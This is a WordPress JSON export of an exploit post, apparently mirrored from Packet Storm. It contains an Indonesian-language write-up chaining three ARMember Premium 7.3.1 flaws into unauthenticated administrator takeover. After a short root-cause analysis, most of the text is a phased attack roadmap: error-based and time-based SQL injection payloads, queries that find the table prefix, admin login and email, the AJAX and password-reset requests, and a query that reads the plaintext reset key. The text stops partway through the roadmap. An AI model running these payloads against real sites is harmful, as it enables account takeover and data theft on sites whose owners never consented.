{"id":59715,"date":"2026-06-04T10:45:54","date_gmt":"2026-06-04T10:45:54","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=59715"},"modified":"2026-06-04T10:45:54","modified_gmt":"2026-06-04T10:45:54","slug":"wordpress-armember-premium-731-insecure-password-reset","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=59715","title":{"rendered":"\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset_PACKETSTORM:222633"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-04T15:32:06&#8243;,&#8221;description&#8221;:&#8221;WordPress ARMember Premium plugin versions 7.3.1 and below suffer from an insecure password reset mechanism that allows for administrative account takeover&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress ARMember Premium 7.3.1 Insecure Password Reset&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222633&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-5073&#8243;,&#8221;CVE-2026-5074&#8243;,&#8221;CVE-2026-5076&#8243;],&#8221;sourceData&#8221;:&#8221;\\u003cdiv align=\\&#8221;center\\&#8221;\\u003e\\n    \\n    # \u2620\ufe0f CVE-2026-5076\\n    \\n    ### ARMember Premium \\u003c= 7.3.1\\n    \\n    ### Insecure Password Reset Mechanism \u2192 Full Admin Account Takeover\\n    \\n    ![](https:\/\/img.shields.io\/badge\/CVE-2026&#8211;5076-CRITICAL-red?style=for-the-badge)\\n    ![](https:\/\/img.shields.io\/badge\/CVSS-9.8-ff0000?style=for-the-badge)\\n    ![](https:\/\/img.shields.io\/badge\/Type-Unauthenticated-blue?style=for-the-badge)\\n    ![](https:\/\/img.shields.io\/badge\/Chain-7_Phases-9cf?style=for-the-badge)\\n    ![](https:\/\/img.shields.io\/badge\/ARMember-7.3.1-orange?style=for-the-badge)\\n    \\n    **Plaintext Password Reset Keys Stored in Database + SQL Injection = Complete Admin Takeover**\\n    \\n    \\u003c\/div\\u003e\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udccb Informasi Kerentanan\\n    \\n    | Item | Detail |\\n    |&#8212;|&#8212;|\\n    | **CVE ID** | CVE-2026-5076 |\\n    | **Plugin** | ARMember \u2013 Membership Plugin \\u0026 Content Restriction |\\n    | **Versi Terpengaruh** | Premium \\u003c= 7.3.1 |\\n    | **Versi Patched** | 7.3.2 |\\n    | **CVSS Score** | 9.8 Critical |\\n    | **CWE** | CWE-640: Weak Password Recovery |\\n    | **Tipe** | Insecure Password Reset Mechanism \u2192 Plaintext Key Storage |\\n    | **Vektor Serangan** | Network \/ Remote \/ Unauthenticated (via SQLi chain) |\\n    | **Instalasi Aktif** | 30,000+ (Premium) |\\n    | **Penemu** | Wordfence Threat Intelligence |\\n    | **Tanggal Publikasi** | 3 Juni 2026 |\\n    \\n    ### CVE Terkait (Same Advisory)\\n    \\n    | CVE | Tipe | Severity |\\n    |&#8212;|&#8212;|&#8212;|\\n    | **CVE-2026-5076** | Insecure Password Reset \u2014 Plaintext Key Storage | 9.8 Critical |\\n    | **CVE-2026-5073** | Unauthenticated SQL Injection (ORDER BY) | 9.8 Critical |\\n    | **CVE-2026-5074** | Unauthenticated SQL Injection (WHERE) | 9.8 Critical |\\n    \\n    &#8212;\\n    \\n    ## \ud83c\udfaf Ringkasan\\n    \\n    Tiga kerentanan kritis pada plugin WordPress **ARMember Premium \\u003c= 7.3.1** yang jika dirantai bersama memungkinkan **pengambilalihan akun administrator secara penuh tanpa autentikasi**:\\n    \\n    1. **CVE-2026-5076** \u2014 Password reset key disimpan dalam **plaintext** di `wp_usermeta` (`arm_reset_password_key`), bukan di-hash seperti standar WordPress\\n    2. **CVE-2026-5073** \u2014 SQL Injection pada parameter `order` di AJAX handler `arm_directory_paging_action()`\\n    3. **CVE-2026-5074** \u2014 SQL Injection pada parameter `filter` di AJAX handler `arm_directory_paging_action()`\\n    \\n    **Konsekuensi langsung CVE-2026-5076**: Siapapun dengan akses baca ke database (via SQLi, backup exposure, dll) dapat membaca password reset key dalam bentuk plaintext dan langsung menggunakannya untuk mereset password akun manapun \u2014 tanpa perlu cracking.\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udd2c Analisis Teknis\\n    \\n    ### Root Cause #1: Plaintext Key Storage (CVE-2026-5076)\\n    \\n    WordPress standar menyimpan password reset key di kolom `user_activation_key` dalam bentuk **hashed** menggunakan `wp_hash()`. ARMember menyimpan salinan key yang sama di `wp_usermeta` dengan meta_key `arm_reset_password_key` \u2014 namun dalam bentuk **PLAINTEXT**:\\n    \\n    &#8220;`php\\n    \/\/ FILE: armember-membership\/core\/class.arm_member_forms.php\\n    \/\/ Fungsi: arm_lost_password_action()\\n    \\n    \/\/ WordPress menyimpan HASHED key (aman)\\n    $key = wp_generate_password(20, false);\\n    $wp_key = $wpdb-\\u003eget_var(\\n        $wpdb-\\u003eprepare(\\&#8221;SELECT user_activation_key FROM $wpdb-\\u003eusers \\n                         WHERE user_login=%s\\&#8221;, $user_login)\\n    );\\n    \\n    \/\/ ARMember menyimpan PLAINTEXT key (VULNERABLE!)\\n    update_user_meta($user_id, &#8216;arm_reset_password_key&#8217;, $wp_key);\\n    \/\/                                                    ^^^^^^\\n    \/\/                              Ini adalah key ASLI yang bisa langsung dipakai\\n    &#8220;`\\n    \\n    **Masalah kritis**: `$wp_key` di sini adalah key yang dihasilkan oleh `wp_generate_password(20, false)` \u2014 20 karakter alfanumerik. WordPress meng-hash key ini sebelum menyimpan di `user_activation_key`, tapi ARMember menyimpannya **sebelum hashing** atau menyimpan salinan terpisah yang **tidak di-hash**.\\n    \\n    ### Root Cause #2: Key Persistence Bug\\n    \\n    Ketika `get_password_reset_key()` dipanggil (WordPress core), key baru di-generate dan di-hash. Namun fungsi ini **TIDAK mengupdate** `arm_reset_password_key`:\\n    \\n    &#8220;`php\\n    \/\/ WordPress core: get_password_reset_key($user)\\n    \/\/ &#8211; Generate key baru\\n    \/\/ &#8211; Hash key \u2192 simpan di user_activation_key\\n    \/\/ &#8211; Return key plaintext\\n    \/\/ &#8211; TAPI: arm_reset_password_key TIDAK diupdate!\\n    &#8220;`\\n    \\n    Akibatnya, **key plaintext lama tetap tersimpan selamanya** di `arm_reset_password_key` bahkan setelah user melakukan password reset. Key ini bisa digunakan berulang kali sampai meta key secara eksplisit dihapus.\\n    \\n    ### Root Cause #3: SQL Injection (CVE-2026-5073\/5074)\\n    \\n    AJAX handler `arm_directory_paging_action()` memiliki nonce check via `arm_check_user_cap()`, tapi parameter `order` dan `filter` langsung masuk ke SQL query tanpa sanitasi:\\n    \\n    &#8220;`php\\n    \/\/ FILE: armember-membership\/core\/class.arm_member_forms.php\\n    \/\/ Fungsi: arm_directory_paging_action()\\n    \\n    \/\/ Nonce check (dibutuhkan nonce valid)\\n    $nonce_check = $this-\\u003earm_check_user_cap();\\n    \\n    \/\/ ORDER BY injection \u2014 langsung ke SQL tanpa sanitasi!\\n    $orderby = \\&#8221;u.{$arm_member} {$order_dir}\\&#8221;;\\n    \/\/ $order_dir dari $_POST[&#8216;order&#8217;] \u2192 LANGSUNG ke ORDER BY\\n    \\n    \/\/ WHERE injection via filter\\n    if (!empty($filter)) {\\n        $where .= \\&#8221; AND \\&#8221; . $filter; \/\/ \u2190 LANGSUNG concatenation!\\n    }\\n    &#8220;`\\n    \\n    **Eksploitasi ORDER BY**: Parameter `order` dimasukkan ke klausa `ORDER BY` SQL. Karena tidak ada sanitasi, attacker bisa inject subquery:\\n    \\n    &#8220;`sql\\n    &#8212; Payload SQLi via parameter order\\n    ORDER BY u.ID ASC, IF(COND, 1, EXP(710))\\n    \\n    &#8212; COND = TRUE  \u2192 IF returns 1 \u2192 ORDER BY 1 \u2192 response normal (besar)\\n    &#8212; COND = FALSE \u2192 IF returns EXP(710) \u2192 MySQL overflow ERROR \u2192 response 90B\\n    &#8220;`\\n    \\n    **Oracle ini immune terhadap network latency** karena membedakan TRUE\/FALSE berdasarkan error vs success, bukan waktu respons.\\n    \\n    &#8212;\\n    \\n    ## \u26d3\ufe0f Attack Chain Roadmap\\n    \\n    &#8220;`\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551                    CVE-2026-5076 FULL CHAIN ATTACK ROADMAP                        \u2551\\n    \u2551              ARMember Premium \\u003c= 7.3.1 \u2192 Unauthenticated Admin Takeover             \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n    \\n     \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n     \u2502  PHASE 1: RECONNAISSANCE                                                       \u2502\\n     \u2502  \\&#8221;Identifikasi target, versi, dan attack surface\\&#8221;                               \u2502\\n     \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\\n     \u2502                                                                                 \u2502\\n     \u2502  1a. Deteksi ARMember                                                          \u2502\\n     \u2502      \u251c\u2500 GET \/ \u2192 cari string: \\&#8221;arm_\\&#8221;, \\&#8221;armember\\&#8221;, \\&#8221;ARMember\\&#8221;                    \u2502\\n     \u2502      \u251c\u2500 GET \/wp-json\/ \u2192 cari armember di response                              \u2502\\n     \u2502      \u251c\u2500 Cookie: arm_* indicates ARMember active                                 \u2502\\n     \u2502      \u2514\u2500 Version fingerprint: arm_css_version, arm_js_version                    \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  1b. Temukan Directory Page (MUST have arm_directory_form_container)            \u2502\\n     \u2502      \u251c\u2500 Method 1: WP Search \u2192 GET \/?s=members \u2192 parse links                   \u2502\\n     \u2502      \u2502   \u2514\u2500 Filter: skip \/feed\/, \/rss2\/, .xml, \/atom\/                         \u2502\\n     \u2502      \u251c\u2500 Method 2: Direct Path Probe \u2192 \/directory\/, \/members\/, \/community\/      \u2502\\n     \u2502      \u251c\u2500 Method 3: Sitemap \u2192 \/sitemap.xml \u2192 parse URLs                          \u2502\\n     \u2502      \u2514\u2500 Method 4: REST API \u2192 \/wp-json\/wp\/v2\/pages \u2192 search ARM shortcode       \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  1c. Ekstrak nonce + template_id (BERPASANGAN di form yang sama)                \u2502\\n     \u2502      \u251c\u2500 \\u003cform class=\\&#8221;arm_directory_form_container\\&#8221;\\u003e                             \u2502\\n     \u2502      \u2502   \u251c\u2500 \\u003cinput name=\\&#8221;arm_wp_nonce\\&#8221; value=\\&#8221;NONCE_HERE\\&#8221;\\u003e                     \u2502\\n     \u2502      \u2502   \u2514\u2500 \\u003cinput name=\\&#8221;template_id\\&#8221; value=\\&#8221;TID_HERE\\&#8221;\\u003e                        \u2502\\n     \u2502      \u2514\u2500 Nonce = wp_create_nonce(&#8216;arm_wp_nonce&#8217;) \u2014 tied to session              \u2502\\n     \u2502          \u2514\u2500 Bukan per-template_id, tapi per-user session                        \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  OUTPUT: nonce, template_id, version, directory_url                             \u2502\\n     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\n                    \u2502\\n                    \u25bc\\n     \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n     \u2502  PHASE 2: SQL INJECTION                                                        \u2502\\n     \u2502  \\&#8221;Konfirmasi SQLi via error-based boolean oracle\\&#8221;                               \u2502\\n     \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\\n     \u2502                                                                                 \u2502\\n     \u2502  2a. Kirim AJAX request dengan nonce + template_id                              \u2502\\n     \u2502      POST \/wp-admin\/admin-ajax.php                                              \u2502\\n     \u2502      action=arm_directory_paging_action                                         \u2502\\n     \u2502      arm_wp_nonce=\\u003cNONCE\\u003e                                                       \u2502\\n     \u2502      template_id=\\u003cTID\\u003e                                                          \u2502\\n     \u2502      type=directory                                                              \u2502\\n     \u2502      order=ASC                                                                   \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  2b. Error-Based Boolean Oracle (IMMUNE LATENCY!)                              \u2502\\n     \u2502      \u251c\u2500 TRUE:  order=ASC,IF(1=1,1,EXP(710))  \u2192 response ~10KB (normal)        \u2502\\n     \u2502      \u251c\u2500 FALSE: order=ASC,IF(1=2,1,EXP(710))  \u2192 response ~90B (EXP overflow)   \u2502\\n     \u2502      \u2514\u2500 Delta: ~100x \u2014 tidak terpengaruh network jitter                         \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  2c. Kenapa EXP(710)?                                                          \u2502\\n     \u2502      \u251c\u2500 EXP(710) \u2192 MySQL double overflow \u2192 ERROR                                \u2502\\n     \u2502      \u251c\u2500 Error = response body ~90B (cepat, konsisten)                           \u2502\\n     \u2502      \u2514\u2500 Lebih reliable daripada SLEEP-based oracle di site lambat               \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  2d. Oracle Alternatif (untuk site tanpa error output)                          \u2502\\n     \u2502      \u251c\u2500 Time-based: IF(COND, SLEEP(3), u.ID)                                   \u2502\\n     \u2502      \u2502   \u251c\u2500 TRUE = slow (SLEEP), FALSE = fast (ORDER BY ID)                    \u2502\\n     \u2502      \u2502   \u2514\u2500 Rentan terhadap network latency, baseline shifting                 \u2502\\n     \u2502      \u2514\u2500 3-State: IF(COND, SLEEP(N), u.ID) vs baseline                         \u2502\\n     \u2502          \u251c\u2500 TRUE  = slow + big response                                         \u2502\\n     \u2502          \u251c\u2500 FALSE = fast + big response (ORDER BY valid ID)                    \u2502\\n     \u2502          \u2514\u2500 ERROR = fast + small response (ORDER BY 0)                         \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  OUTPUT: sqli_confirmed, sz_true, sz_false, oracle_type                         \u2502\\n     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\n                    \u2502\\n                    \u25bc\\n     \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n     \u2502  PHASE 3: DATABASE ENUMERATION                                                  \u2502\\n     \u2502  \\&#8221;Ekstrak table prefix, admin user, dan metadata\\&#8221;                               \u2502\\n     \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\\n     \u2502                                                                                 \u2502\\n     \u2502  3a. Deteksi Table Prefix (CRITICAL \u2014 prefix non-standard umum!)                \u2502\\n     \u2502      \u251c\u2500 Method 1: INFORMATION_SCHEMA (paling reliable)                          \u2502\\n     \u2502      \u2502   \u251c\u2500 (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES                   \u2502\\n     \u2502      \u2502   \u2502  WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE &#8216;%users&#8217;          \u2502\\n     \u2502      \u2502   \u2502  LIMIT 1) IS NOT NULL                                                \u2502\\n     \u2502      \u2502   \u2514\u2500 Ekstrak prefix: SUBSTRING(TABLE_NAME,1,LENGTH-5)                   \u2502\\n     \u2502      \u251c\u2500 Method 2: Brute-force prefix                                            \u2502\\n     \u2502      \u2502   \u2514\u2500 wp_, wordpress_, wp_2_, site_, db_, blog_, web_                    \u2502\\n     \u2502      \u2514\u2500 Method 3: Per-row oracle via alias u\/um                                \u2502\\n     \u2502          \u2514\u2500 Main query sudah JOIN wp_users u, wp_usermeta um                   \u2502\\n     \u2502              \u2514\u2500 Tapi TABLE NAME di subquery = prefix + \\&#8221;users\\&#8221;                  \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  3b. Ekstrak Admin User (4-Method Fallback)                                     \u2502\\n     \u2502      \u251c\u2500 Method 1: wp_capabilities LIKE &#8216;%administrator%&#8217;                       \u2502\\n     \u2502      \u2502   \u2514\u2500 SELECT user_login FROM PREFIX_users WHERE ID=                       \u2502\\n     \u2502      \u2502      (SELECT user_id FROM PREFIX_usermeta                                \u2502\\n     \u2502      \u2502       WHERE meta_key=&#8217;PREFIX_capabilities&#8217;                               \u2502\\n     \u2502      \u2502       AND meta_value LIKE &#8216;%administrator%&#8217; LIMIT 1)                     \u2502\\n     \u2502      \u251c\u2500 Method 2: wp_user_level = &#8217;10&#8217;                                         \u2502\\n     \u2502      \u2502   \u2514\u2500 Meta key PREFIX_user_level dengan value &#8217;10&#8217;                        \u2502\\n     \u2502      \u251c\u2500 Method 3: Per-row um alias for capabilities                             \u2502\\n     \u2502      \u2502   \u2514\u2500 um.meta_key=&#8217;PREFIX_capabilities&#8217; AND um.meta_value LIKE &#8216;%admin%&#8217;  \u2502\\n     \u2502      \u2514\u2500 Method 4: First user fallback (ORDER BY ID LIMIT 1)                    \u2502\\n     \u2502          \u2514\u2500 Pada site kecil, user pertama = admin                               \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  3c. Ekstrak Admin Email                                                        \u2502\\n     \u2502      \u2514\u2500 SELECT user_email FROM PREFIX_users WHERE user_login=&#8217;ADMIN&#8217;            \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  3d. Cek arm_reset_password_key Feature                                         \u2502\\n     \u2502      \u251c\u2500 (SELECT COUNT(*) FROM PREFIX_usermeta                                   \u2502\\n     \u2502      \u2502  WHERE meta_key=&#8217;arm_reset_password_key&#8217;) \\u003e 0                            \u2502\\n     \u2502      \u251c\u2500 Jika FALSE \u2192 fitur tidak ada (v4.x) atau belum ada reset               \u2502\\n     \u2502      \u2514\u2500 Jika TRUE tapi 0 values \u2192 fitur ada, perlu trigger (Phase 4)           \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  OUTPUT: prefix, admin_login, admin_email, arm_key_feature_exists               \u2502\\n     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\n                    \u2502\\n                    \u25bc\\n     \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n     \u2502  PHASE 4: PASSWORD RESET TRIGGER                                                \u2502\\n     \u2502  \\&#8221;Paksa target menyimpan plaintext key di database\\&#8221;                             \u2502\\n     \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\\n     \u2502                                                                                 \u2502\\n     \u2502  4a. ARMember Forgot-Password (SET arm_reset_password_key = PLAINTEXT)          \u2502\\n     \u2502      \u251c\u2500 POST \/wp-admin\/admin-ajax.php                                           \u2502\\n     \u2502      \u2502   action=arm_lost_password                                                \u2502\\n     \u2502      \u2502   arm_wp_nonce=\\u003cNONCE\\u003e                                                    \u2502\\n     \u2502      \u2502   user_login=\\u003cADMIN_LOGIN\\u003e                                                \u2502\\n     \u2502      \u251c\u2500 Hasil: arm_reset_password_key = plaintext 20-char key                    \u2502\\n     \u2502      \u2514\u2500 Masalah: banyak site return \\&#8221;0\\&#8221; (action tidak terdaftar)                \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  4b. WordPress Standard Lostpassword (SET user_activation_key = HASHED)         \u2502\\n     \u2502      \u251c\u2500 POST \/wp-login.php?action=lostpassword                                  \u2502\\n     \u2502      \u2502   user_login=\\u003cADMIN_LOGIN\\u003e                                                \u2502\\n     \u2502      \u2502   wp-submit=Get New Password                                              \u2502\\n     \u2502      \u251c\u2500 Hasil: user_activation_key = hashed key (TIDAK bisa dipakai langsung)   \u2502\\n     \u2502      \u2514\u2500 Email terkirim ke admin (jika mail server aktif)                        \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  4c. WP Lostpassword via Email                                                   \u2502\\n     \u2502      \u2514\u2500 Jika user_login gagal, coba dengan admin_email                         \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  4d. Verifikasi Key Tersimpan (via SQLi)                                        \u2502\\n     \u2502      \u251c\u2500 Cek arm_reset_password_key (PLAINTEXT \u2014 CVE-2026-5076)                  \u2502\\n     \u2502      \u2502   \u2514\u2500 (SELECT meta_value FROM PREFIX_usermeta                             \u2502\\n     \u2502      \u2502      WHERE meta_key=&#8217;arm_reset_password_key&#8217;                              \u2502\\n     \u2502      \u2502      AND user_id=ADMIN_ID LIMIT 1)                                       \u2502\\n     \u2502      \u2514\u2500 Cek user_activation_key (HASHED \u2014 fallback)                             \u2502\\n     \u2502          \u2514\u2500 LENGTH((SELECT user_activation_key FROM PREFIX_users                \u2502\\n     \u2502              WHERE user_login=&#8217;ADMIN&#8217;)) \\u003e 0                                      \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  \u26a0\ufe0f PENTING: WP lostpassword TIDAK menghasilkan arm_reset_password_key!         \u2502\\n     \u2502     Hanya form forgot-password ARMember yang menyimpan plaintext key.           \u2502\\n     \u2502     Versi \\u003c 5.x TIDAK memiliki fitur arm_reset_password_key sama sekali.       \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  OUTPUT: arm_reset_password_key (plaintext) atau user_activation_key (hashed)   \u2502\\n     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\n                    \u2502\\n                    \u25bc\\n     